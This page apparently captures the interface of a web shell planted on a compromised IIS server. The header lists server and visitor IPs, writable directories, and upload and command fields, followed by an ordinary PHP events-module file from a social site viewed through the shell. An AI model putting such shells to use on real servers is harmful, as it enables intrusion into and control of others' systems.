403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/events/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/events/event_show.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

require_once('tools.php');

class CEventsEventShow extends CHtmlBlock
{
	function parseBlock(&$html)
	{
		global $g_user;
		global $l;
		global $g;

        $event_id = get_param('event_id');

        $event = CEventsTools::retrieve_event_by_id($event_id);
        if($event)
        {
        	$title_length = 32;

            if(!$event['event_private'] && CEventsTools::is_event_finished($event))
            {
            	$title_length = 16;
            	$html->parse('event_finished');
            }

            $html->setvar('event_id', $event['event_id']);
            $html->setvar('event_title', strcut(to_html($event['event_title']), $title_length));
            $html->setvar('event_title_full', to_html($event['event_title']));
            $html->setvar('category_title', strcut(to_html(l($event['category_title'], false, 'events_category')), 8));
            $html->setvar('category_title_full', to_html(l($event['category_title'], false, 'events_category')));
            $html->setvar('category_id', $event['category_id']);
            $html->setvar('event_n_comments', $event['event_n_comments']);
            $html->setvar('event_n_guests', $event['event_n_guests']);
	        $html->setvar('event_date', to_html(Common::dateFormat($event['event_datetime'],'events_event_date')));
	        $html->setvar('event_time', to_html(Common::dateFormat($event['event_datetime'],'events_event_time')));
            $html->setvar('event_place', hard_trim(to_html($event['event_place']), 25));
            $html->setvar('event_place_full', to_html($event['event_place']));
            $html->setvar('city_title', strcut(to_html($event['city_title']), 13));
            $html->setvar('city_title_full', to_html($event['city_title']));
            $html->setvar('event_address', hard_trim(to_html($event['event_address']), 25));
            $html->setvar('event_address_full', to_html($event['event_address']));

	    if($event['event_site']!="")
	    {
				$site_name = str_ireplace("http://", "", $event['event_site']);
                if(strripos($site_name, "/") === strlen($site_name) - 1)
                $site_name = substr($site_name, 0, strlen($site_name) - 1);
                $html->setvar('event_site', strcut(to_html($site_name), 24));
                // prepare URL
				if(substr($event['event_site'],0,7)!="http://") $event['event_site'] = "http://".$event['event_site'];
				$html->setvar('event_site_full', to_html($event['event_site']));
                $html->parse('event_site');

            }

	    if($event['event_phone']!="")
	    {
            $html->setvar('event_phone', strcut(to_html($event['event_phone']), 13));
            $html->setvar('event_phone_full', to_html($event['event_phone']));
            $html->parse('event_phone');
	    }
	    /*$words = explode(' ',$event['event_description']);
	    $nw = 25;

	    if( sizeof($words) >= $nw)
	    {
                $description ="";

                for($i=0;$i<$nw;$i++)
                {
                     if($words[$i]==" ") $nw++;
                     $description.=$words[$i]." ";
                }
	    } else {
                $description = $event['event_description'];
	    }*/

        $description = trim(he($event['event_description']));//nl2br
		$description_short = hard_trim($description, 185);

        $html->setvar('event_description', $description_short);
        $html->setvar('event_description_full', $description);
        $html->setvar('description_collapse', ($description == $description_short) ? 0 : 1);

        $images = CEventsTools::event_images($event['event_id'], false);
        $html->setvar("image_thumbnail_b", $images["image_thumbnail_b"]);
        $html->setvar("image_file", $images["image_file"]);
	    if(($images["image_file"] == $g['tmpl']['url_tmpl_main'] . "images/events/foto_clock_l.gif")||($images["image_file"] == $g['tmpl']['url_tmpl_main'] . "images/events/foto_02_l.jpg"))
	    {
		$html->parse("no_image");
            }else{
		$html->parse("image");
	    }
            if($event['event_private'])
            {
                $html->parse('event_private_functions', true);
            	$html->parse('event_private');
            }
            else
            {
	            if($g_user['user_id'] == $event['user_id'])
	                $html->parse('event_edit', false);
	            $html->parse('event_functions', true);

            	$html->parse('event');
            }

// SEO

$g['main']['title'] = $g['main']['title'] . ' :: ' . htmlentities(to_html($event['event_title']),ENT_QUOTES,"UTF-8");
$g['main']['description'] = htmlentities($description."...",ENT_QUOTES,"UTF-8");

	   }
        else
        {
        	redirect('events.php');
        }

		parent::parseBlock($html);
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit